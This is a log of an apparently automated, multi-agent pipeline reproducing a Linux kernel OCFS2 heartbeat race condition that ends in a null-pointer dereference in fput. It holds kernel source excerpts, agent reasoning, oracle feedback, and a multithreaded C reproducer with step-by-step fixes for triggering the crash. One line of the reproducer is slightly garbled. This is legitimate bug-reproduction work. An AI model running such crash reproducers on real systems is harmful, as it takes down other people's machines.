The reproducer is indeed performing concurrent writes to the `dev` attribute. But instead of crashing with `fput(NULL)`, it's failing with `EINVAL`. This is a crucial discrepancy. Why `EINVAL`?
I'm now looking at the `EINVAL` paths within `o2hb_region_dev_store`:
```c
1792: /* We can't heartbeat without having had our node number
1793: * configured yet. */
1794: if (o2nm_this_node() == O2NM_MAX_NODES)
1795: return -EINVAL;
```
This check is suspicious. Is it possible that `o2nm_this_node()` is returning `O2NM_MAX_NODES` in this specific scenario? To confirm this, I need to check if the node number was actually configured by the reproducer *before* attempting to write to the `dev` attribute.
Looking at the reproducer's output, I see this line:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
```
Ah, this is the key! If writing to the `num` attribute fails with "Invalid argument," it means the node number was *never* successfully configured. This perfectly explains why the subsequent call to `o2hb_region_dev_store` would hit the `o2nm_this_node() == O2NM_MAX_NODES` check and return `EINVAL`. The `fput(NULL)` crash is a separate issue that might still exist under different failure conditions, but this `EINVAL` indicates a more fundamental problem with the node configuration preventing the `dev` attribute from being processed correctly.
|
| 180/4 |
2026/09/04 20:57 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/ocfs2/cluster/nodemanager.c Name:o2nm_node_num_store]
Results: map[SourceCode: 184: static ssize_t o2nm_node_num_store(struct config_item *item, const char *page,
185: size_t count)
186: {
187: struct o2nm_node *node = to_o2nm_node(item);
188: struct o2nm_cluster *cluster;
189: unsigned long tmp;
190: char *p = (char *)page;
191: int ret = 0;
192:
193: tmp = simple_strtoul(p, &p, 0);
194: if (!p || (*p && (*p != '\n')))
195: return -EINVAL;
196:
197: if (tmp >= O2NM_MAX_NODES)
198: return -ERANGE;
199:
200: /* once we're in the cl_nodes tree networking can look us up by
201: * node number and try to use our address and port attributes
202: * to connect to this node.. make sure that they've been set
203: * before writing the node attribute? */
204: if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
205: !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
206: return -EINVAL; /* XXX */
207:
208: o2nm_lock_subsystem();
209: cluster = to_o2nm_cluster_from_node(node);
210: if (!cluster) {
211: o2nm_unlock_subsystem();
212: return -EINVAL;
213: }
214:
215: write_lock(&cluster->cl_nodes_lock);
216: if (cluster->cl_nodes[tmp])
217: ret = -EEXIST;
218: else if (test_and_set_bit(O2NM_NODE_ATTR_NUM,
219: &node->nd_set_attributes))
220: ret = -EBUSY;
221: else {
222: cluster->cl_nodes[tmp] = node;
223: node->nd_num = tmp;
224: set_bit(tmp, cluster->cl_nodes_bitmap);
225: }
226: write_unlock(&cluster->cl_nodes_lock);
227: o2nm_unlock_subsystem();
228:
229: if (ret)
230: return ret;
231:
232: return count;
233: }
SourceFile:fs/ocfs2/cluster/nodemanager.c]
|
| 181/4 |
2026/09/04 20:57 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 73681
output: 46
thoughts: 321
Thoughts: **My Thought Process Regarding Cluster Node Configuration Failures**
Alright, let's break down what I'm seeing here with these cluster node configuration failures. My immediate attention is drawn to the `o2nm_node_num_store` function and the critical checks within it. The code clearly states, lines 204-205, that I *must* have the `O2NM_NODE_ATTR_ADDRESS` and `O2NM_NODE_ATTR_PORT` attributes set before I can successfully write to the `num` attribute. If either of those attributes isn't present, I'm going to hit an `-EINVAL` return, which is exactly what's happening.
Now, the reproducer output is painting a rather telling picture:
* It shows a failure when trying to write to `/sys/kernel/config/cluster/mycluster/node/mynode/num`. This aligns perfectly with my understanding of the `o2nm_node_num_store` logic – the prerequisites for writing `num` weren't met.
* Crucially, *after* the `num` write failed, it then proceeds to successfully write to `ipv4_port` and `ipv4_address`. This sequence is the exact inverse of what the kernel expects. The reproducer is attempting to write `num` *before* it has even established the network address and port information, which is why the initial `num` write fails with "Invalid argument."
This leads me to a subsequent failure: the attempt to write to `/sys/kernel/config/cluster/mycluster/node/mynode/local` also fails with "Invalid argument." This strongly suggests that the failure to correctly configure the node's address and port (due to the incorrect write order) is cascading and preventing other node attributes, like `local`, from being set successfully. I'll need to investigate the `o2nm_node_local_store` function next to understand its dependencies and how the earlier failure is impacting its operation.
|
| 182/4 |
2026/09/04 20:57 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/ocfs2/cluster/nodemanager.c Name:o2nm_node_local_store]
Results: map[SourceCode: 323: static ssize_t o2nm_node_local_store(struct config_item *item, const char *page,
324: size_t count)
325: {
326: struct o2nm_node *node = to_o2nm_node(item);
327: struct o2nm_cluster *cluster;
328: unsigned long tmp;
329: char *p = (char *)page;
330: ssize_t ret;
331:
332: tmp = simple_strtoul(p, &p, 0);
333: if (!p || (*p && (*p != '\n')))
334: return -EINVAL;
335:
336: tmp = !!tmp; /* boolean of whether this node wants to be local */
337:
338: /* setting local turns on networking rx for now so we require having
339: * set everything else first */
340: if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
341: !test_bit(O2NM_NODE_ATTR_NUM, &node->nd_set_attributes) ||
342: !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
343: return -EINVAL; /* XXX */
344:
345: o2nm_lock_subsystem();
346: cluster = to_o2nm_cluster_from_node(node);
347: if (!cluster) {
348: ret = -EINVAL;
349: goto out;
350: }
351:
352: /* the only failure case is trying to set a new local node
353: * when a different one is already set */
354: if (tmp && tmp == cluster->cl_has_local &&
355: cluster->cl_local_node != node->nd_num) {
356: ret = -EBUSY;
357: goto out;
358: }
359:
360: /* bring up the rx thread if we're setting the new local node. */
361: if (tmp && !cluster->cl_has_local) {
362: ret = o2net_start_listening(node);
363: if (ret)
364: goto out;
365: }
366:
367: if (!tmp && cluster->cl_has_local &&
368: cluster->cl_local_node == node->nd_num) {
369: o2net_stop_listening(node);
370: cluster->cl_local_node = O2NM_INVALID_NODE_NUM;
371: }
372:
373: node->nd_local = tmp;
374: if (node->nd_local) {
375: cluster->cl_has_local = tmp;
376: cluster->cl_local_node = node->nd_num;
377: }
378:
379: ret = count;
380:
381: out:
382: o2nm_unlock_subsystem();
383: return ret;
384: }
SourceFile:fs/ocfs2/cluster/nodemanager.c]
|
| 183/4 |
2026/09/04 20:57 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 75004
output: 44
thoughts: 215
Thoughts: **My Thought Process Unpacking the `o2nm_node_local_store` Failure**
Right, so I'm looking at this `o2nm_node_local_store` function, and I immediately see a critical check at lines 340-342. It's asserting that the `O2NM_NODE_ATTR_ADDRESS`, `O2NM_NODE_ATTR_NUM`, and `O2NM_NODE_ATTR_PORT` attributes *must* be set for the operation to proceed. If any of these aren't set, it's a hard `-EINVAL`.
Now, my investigation has revealed that the `num` attribute failed to write. This is key, because it directly means that the `O2NM_NODE_ATTR_NUM` bit is *not* set in `node->nd_set_attributes`.
The consequence of this is immediate and logical: because `O2NM_NODE_ATTR_NUM` isn't set, the `o2nm_node_local_store` function itself will fail at that very check.
And here's where it gets even more interesting – if `o2nm_node_local_store` fails, it's highly probable that `o2nm_this_node()` isn't going to return the correct node number for the current node. Instead, it's likely to default to `O2NM_MAX_NODES`. I need to verify this assumption by diving into the implementation of `o2nm_this_node()` next. That's the logical next step to confirm the cascading effect of this initial `num` write failure.
|
| 184/4 |
2026/09/04 20:58 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/ocfs2/cluster/nodemanager.c Name:o2nm_this_node]
Results: map[SourceCode: 131: u8 o2nm_this_node(void)
132: {
133: u8 node_num = O2NM_MAX_NODES;
134:
135: if (o2nm_single_cluster && o2nm_single_cluster->cl_has_local)
136: node_num = o2nm_single_cluster->cl_local_node;
137:
138: return node_num;
139: }
SourceFile:fs/ocfs2/cluster/nodemanager.c]
|
| 185/4 |
2026/09/04 20:58 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 75418
output: 806
thoughts: 5076
Thoughts: **Reproducer Failure Analysis: OCFS2 TOCTOU Race Condition in `o2hb_region_dev_store`**
I've been investigating why the provided reproducer failed to trigger the expected crash related to a null-pointer dereference in `fput`. My analysis indicates that the reproducer's failure to trigger the bug stems from an incorrect initialization order of OCFS2 node attributes, which prevents the vulnerable code path from being reached.
Here's a breakdown of my thought process:
1. **Initial Observation:** I noticed that `o2nm_this_node()` was returning `O2NM_MAX_NODES`. My understanding is that this value signifies that the local node hasn't been properly configured, specifically that the `cl_has_local` flag isn't set. This flag, in turn, should be set when the `local` attribute is successfully written with a value of `1`.
2. **Tracing the Failure:** The output clearly showed that the write to `local` failed with `[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument`. The reproducer's attempt to write to `num` also failed with `[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument`. This suggested a dependency issue.
3. **Examining the Write Order:** By carefully inspecting the order of operations in the reproducer's output, I saw this sequence:
* Write to `num` (failed)
* Write to `ipv4_port`
* Write to `ipv4_address`
* Write to `local` (failed)
4. **Identifying the Constraint Violation:** I then delved into the kernel source code for OCFS2 cluster node management (`fs/ocfs2/cluster/nodemanager.c`). I found that the `o2nm_node_num_store()` function, which handles writes to the `num` attribute, has a critical check:
```c
if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
!test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
return -EINVAL; /* XXX */
```
This means `num` *cannot* be set until both `ipv4_address` and `ipv4_port` have been successfully written. The reproducer violated this by attempting to write `num` *before* `ipv4_address` and `ipv4_port`. This explains why the write to `num` failed with `Invalid argument`.
5. **Cascading Failure:** Following this logic, I checked `o2nm_node_local_store()`, which handles writes to the `local` attribute. It has the following dependency check:
```c
if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
!test_bit(O2NM_NODE_ATTR_NUM, &node->nd_set_attributes) ||
!test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
return -EINVAL; /* XXX */
```
Since `num` failed to be set (due to the earlier violation), the write to `local` also failed with `Invalid argument`.
6. **Preventing the Race Condition:** The consequence of `local` not being set is that `o2nm_this_node()` correctly returns `O2NM_MAX_NODES`. This leads directly to an early exit within `o2hb_region_dev_store()`:
```c
1792: /* We can't heartbeat without having had our node number
1793: * configured yet. */
1794: if (o2nm_this_node() == O2NM_MAX_NODES)
1795: return -EINVAL;
```
This check causes `o2hb_region_dev_store()` to return `-EINVAL` before it even reaches the section of code where the TOCTOU (Time-of-check to time-of-use) race condition exists. The race condition, as I understand it, occurs when two threads concurrently attempt to open a block device for heartbeat regions. Both threads check if `reg->hr_bdev_file` is NULL, then both open the device and assign their newly opened file pointer to `reg->hr_bdev_file`. Subsequently, when one thread encounters an error (like a block size mismatch) and goes to clean up, it calls `fput(reg->hr_bdev_file)`. If the other thread has already overwritten `reg->hr_bdev_file` with its own pointer, the first thread might `fput` the wrong file. More critically, if the cleanup path itself sets `reg->hr_bdev_file` to NULL *after* the other thread has already read it for its own cleanup, the second thread could end up calling `fput(NULL)`, leading to the observed KASAN null-pointer-dereference.
7. **Reproducer Fix Requirements:** To trigger the actual bug, the reproducer needs to be modified to:
* **Correct the initialization order:** The sequence must be: write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to `1`).
* **Induce a failure in `o2hb_region_dev_store`:** The bug relies on threads failing *after* they've assigned a file pointer to `reg->hr_bdev_file` but *before* they complete successfully. A reliable way to achieve this is to ensure the `sectsize != reg->hr_block_bytes` check fails. This can be done by writing a `block_bytes` value (e.g., `1024`) that is different from the actual logical block size of the block device used (which is often `512`). This failure will cause the function to jump to the `out` label, where the race condition cleanup occurs.
* **Maintain concurrent writes:** The core bug is a race, so the concurrent writes to the `dev` attribute are still necessary once the node initialization is correct.
In essence, the reproducer's current configuration actively prevents the race condition by failing too early due to incorrect attribute ordering. By fixing this order and ensuring a controlled failure within `o2hb_region_dev_store`, the intended bug should be reliably triggered.
|
| 186/4 |
2026/09/04 20:59 |
tool |
set-results |
0m
Args: map[Feedback:The reproduction attempt failed to trigger the bug because the ocfs2 node was not configured correctly, causing `o2hb_region_dev_store` to return early before the race condition could occur.
From the console output:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777\n' to .../ipv4_port
[+] Wrote '127.0.0.1\n' to .../ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
```
The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`. However, `o2nm_node_num_store()` in `fs/ocfs2/cluster/nodemanager.c` explicitly requires the address and port to be set first:
```c
if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
!test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
return -EINVAL;
```
Because `num` fails, the subsequent write to `local` also fails in `o2nm_node_local_store()` (which requires `num` to be set). Since `local` is not set, `o2nm_this_node()` returns `O2NM_MAX_NODES`.
When the reproducer later concurrently writes to the `dev` attribute, `o2hb_region_dev_store()` checks:
```c
if (o2nm_this_node() == O2NM_MAX_NODES)
return -EINVAL;
```
This causes the function to return `-EINVAL` immediately, completely bypassing the vulnerable code.
The underlying bug is a TOCTOU race condition in `o2hb_region_dev_store()`:
1. Two threads concurrently enter the function and both see `reg->hr_bdev_file == NULL`.
2. Both threads open the block device and overwrite `reg->hr_bdev_file`.
3. If the function later fails (e.g., at the `sectsize != reg->hr_block_bytes` check) and jumps to the `out` label, it executes:
```c
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
```
4. One thread will set `reg->hr_bdev_file` to `NULL`, and the other thread will then read `NULL` and call `fput(NULL)`, causing the KASAN null-ptr-deref crash.
To fix the reproducer:
1. **Fix the initialization order**: Write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to 1).
2. **Force a failure path**: Ensure that the value written to `block_bytes` (e.g., 1024) is different from the logical block size of the block device (usually 512). This intentionally triggers the `sectsize != reg->hr_block_bytes` error, forcing the threads to jump to the `out` label and execute the vulnerable `fput()` logic.
3. Keep the concurrent writes to the `dev` attribute to trigger the race. ProbePassed:false TerminalError: TitleMatches:false]
Results: map[Feedback:The reproduction attempt failed to trigger the bug because the ocfs2 node was not configured correctly, causing `o2hb_region_dev_store` to return early before the race condition could occur.
From the console output:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777\n' to .../ipv4_port
[+] Wrote '127.0.0.1\n' to .../ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
```
The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`. However, `o2nm_node_num_store()` in `fs/ocfs2/cluster/nodemanager.c` explicitly requires the address and port to be set first:
```c
if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
!test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
return -EINVAL;
```
Because `num` fails, the subsequent write to `local` also fails in `o2nm_node_local_store()` (which requires `num` to be set). Since `local` is not set, `o2nm_this_node()` returns `O2NM_MAX_NODES`.
When the reproducer later concurrently writes to the `dev` attribute, `o2hb_region_dev_store()` checks:
```c
if (o2nm_this_node() == O2NM_MAX_NODES)
return -EINVAL;
```
This causes the function to return `-EINVAL` immediately, completely bypassing the vulnerable code.
The underlying bug is a TOCTOU race condition in `o2hb_region_dev_store()`:
1. Two threads concurrently enter the function and both see `reg->hr_bdev_file == NULL`.
2. Both threads open the block device and overwrite `reg->hr_bdev_file`.
3. If the function later fails (e.g., at the `sectsize != reg->hr_block_bytes` check) and jumps to the `out` label, it executes:
```c
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
```
4. One thread will set `reg->hr_bdev_file` to `NULL`, and the other thread will then read `NULL` and call `fput(NULL)`, causing the KASAN null-ptr-deref crash.
To fix the reproducer:
1. **Fix the initialization order**: Write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to 1).
2. **Force a failure path**: Ensure that the value written to `block_bytes` (e.g., 1024) is different from the logical block size of the block device (usually 512). This intentionally triggers the `sectsize != reg->hr_block_bytes` error, forcing the threads to jump to the `out` label and execute the vulnerable `fput()` logic.
3. Keep the concurrent writes to the `dev` attribute to trigger the race. ProbePassed:false TerminalError: TitleMatches:false]
|
| 187/3 |
2026/09/04 20:59 |
action |
loop-controller |
0m
Results: map[CapabilitiesVerified:true ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The reproduction attempt failed to trigger the bug because the ocfs2 node was not configured correctly, causing `o2hb_region_dev_store` to return early before the race condition could occur.
From the console output:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777\n' to .../ipv4_port
[+] Wrote '127.0.0.1\n' to .../ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
```
The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`. However, `o2nm_node_num_store()` in `fs/ocfs2/cluster/nodemanager.c` explicitly requires the address and port to be set first:
```c
if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
!test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
return -EINVAL;
```
Because `num` fails, the subsequent write to `local` also fails in `o2nm_node_local_store()` (which requires `num` to be set). Since `local` is not set, `o2nm_this_node()` returns `O2NM_MAX_NODES`.
When the reproducer later concurrently writes to the `dev` attribute, `o2hb_region_dev_store()` checks:
```c
if (o2nm_this_node() == O2NM_MAX_NODES)
return -EINVAL;
```
This causes the function to return `-EINVAL` immediately, completely bypassing the vulnerable code.
The underlying bug is a TOCTOU race condition in `o2hb_region_dev_store()`:
1. Two threads concurrently enter the function and both see `reg->hr_bdev_file == NULL`.
2. Both threads open the block device and overwrite `reg->hr_bdev_file`.
3. If the function later fails (e.g., at the `sectsize != reg->hr_block_bytes` check) and jumps to the `out` label, it executes:
```c
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
```
4. One thread will set `reg->hr_bdev_file` to `NULL`, and the other thread will then read `NULL` and call `fput(NULL)`, causing the KASAN null-ptr-deref crash.
To fix the reproducer:
1. **Fix the initialization order**: Write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to 1).
2. **Force a failure path**: Ensure that the value written to `block_bytes` (e.g., 1024) is different from the logical block size of the block device (usually 512). This intentionally triggers the `sectsize != reg->hr_block_bytes` error, forcing the threads to jump to the `out` label and execute the vulnerable `fput()` logic.
3. Keep the concurrent writes to the `dev` attribute to trigger the race. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]
|
| 188/2 |
2026/09/04 20:59 |
iteration |
2 |
2m
|
| 189/3 |
2026/09/04 20:59 |
action |
If |
0m
Args: map[OracleFeedback:The reproduction attempt failed to trigger the bug because the ocfs2 node was not configured correctly, causing `o2hb_region_dev_store` to return early before the race condition could occur.
From the console output:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777\n' to .../ipv4_port
[+] Wrote '127.0.0.1\n' to .../ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
```
The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`. However, `o2nm_node_num_store()` in `fs/ocfs2/cluster/nodemanager.c` explicitly requires the address and port to be set first:
```c
if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
!test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
return -EINVAL;
```
Because `num` fails, the subsequent write to `local` also fails in `o2nm_node_local_store()` (which requires `num` to be set). Since `local` is not set, `o2nm_this_node()` returns `O2NM_MAX_NODES`.
When the reproducer later concurrently writes to the `dev` attribute, `o2hb_region_dev_store()` checks:
```c
if (o2nm_this_node() == O2NM_MAX_NODES)
return -EINVAL;
```
This causes the function to return `-EINVAL` immediately, completely bypassing the vulnerable code.
The underlying bug is a TOCTOU race condition in `o2hb_region_dev_store()`:
1. Two threads concurrently enter the function and both see `reg->hr_bdev_file == NULL`.
2. Both threads open the block device and overwrite `reg->hr_bdev_file`.
3. If the function later fails (e.g., at the `sectsize != reg->hr_block_bytes` check) and jumps to the `out` label, it executes:
```c
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
```
4. One thread will set `reg->hr_bdev_file` to `NULL`, and the other thread will then read `NULL` and call `fput(NULL)`, causing the KASAN null-ptr-deref crash.
To fix the reproducer:
1. **Fix the initialization order**: Write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to 1).
2. **Force a failure path**: Ensure that the value written to `block_bytes` (e.g., 1024) is different from the logical block size of the block device (usually 512). This intentionally triggers the `sectsize != reg->hr_block_bytes` error, forcing the threads to jump to the `out` label and execute the vulnerable `fput()` logic.
3. Keep the concurrent writes to the `dev` attribute to trigger the race.]
|
| 190/4 |
2026/09/04 20:59 |
agent |
strategy-refiner |
0m
Model:
Instruction: You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Analyze the technical diagnosis provided in the oracle feedback and translate it into concrete,
step-by-step instructions for the repro-generator on how to modify the code structure, alignments,
offsets, or parameters of the candidate program.
=== TOOL SELECTION GUIDELINES ===
- Prefer codesearch-definition-source and codesearch-struct-layout first for symbol lookups.
- Fall back to read-file or grepper for macros, headers, or if symbol lookup fails.
=== CRITICAL PROHIBITIONS ===
- Do NOT repeat searches for the same symbols or files. Use information you have already gathered.
- Do NOT write long explanations. Keep your reasoning short and focused on actionable changes.
- Do NOT assume a bug is fixed based on git commit history.
- If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.
Prompt: Bug Description: KASAN: null-ptr-deref Write in fput
(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664
CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:186 [inline]
kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
file_ref_put include/linux/file_ref.h:157 [inline]
fput+0x2e/0x100 fs/file_table.c:588
o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
flush_write_buffer fs/configfs/file.c:207 [inline]
configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x6ac/0x1050 fs/read_write.c:687
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
</TASK>
==================================================================
Current Strategy: An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.
### Root Cause Analysis
The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`.
When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
```c
out:
if (ret < 0) {
// ...
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
}
```
Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.
### Minimal C Reproducer
```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
PIN_TO_CPU(0);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
PIN_TO_CPU(1);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int main()
{
SETUP_UNBUFFERED_IO();
system("mount -t configfs none /sys/kernel/config 2>/dev/null");
system("modprobe ocfs2_nodemanager 2>/dev/null");
system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
perror("open block device");
return 1;
}
}
sprintf(fd_str, "%d\n", dev_fd);
fd_len = strlen(fd_str);
// Force sectsize mismatch to guarantee failure and trigger the cleanup path
int sectsize = 512;
ioctl(dev_fd, BLKSSZGET, §size);
int block_bytes = (sectsize == 512) ? 1024 : 512;
char cmd[256];
sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
system(cmd);
// Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
perror("open dev attr");
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 5.0)) {
sleep(1);
}
return 0;
}
```
Feedback: The reproduction attempt failed to trigger the bug because the ocfs2 node was not configured correctly, causing `o2hb_region_dev_store` to return early before the race condition could occur.
From the console output:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777\n' to .../ipv4_port
[+] Wrote '127.0.0.1\n' to .../ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
```
The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`. However, `o2nm_node_num_store()` in `fs/ocfs2/cluster/nodemanager.c` explicitly requires the address and port to be set first:
```c
if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
!test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
return -EINVAL;
```
Because `num` fails, the subsequent write to `local` also fails in `o2nm_node_local_store()` (which requires `num` to be set). Since `local` is not set, `o2nm_this_node()` returns `O2NM_MAX_NODES`.
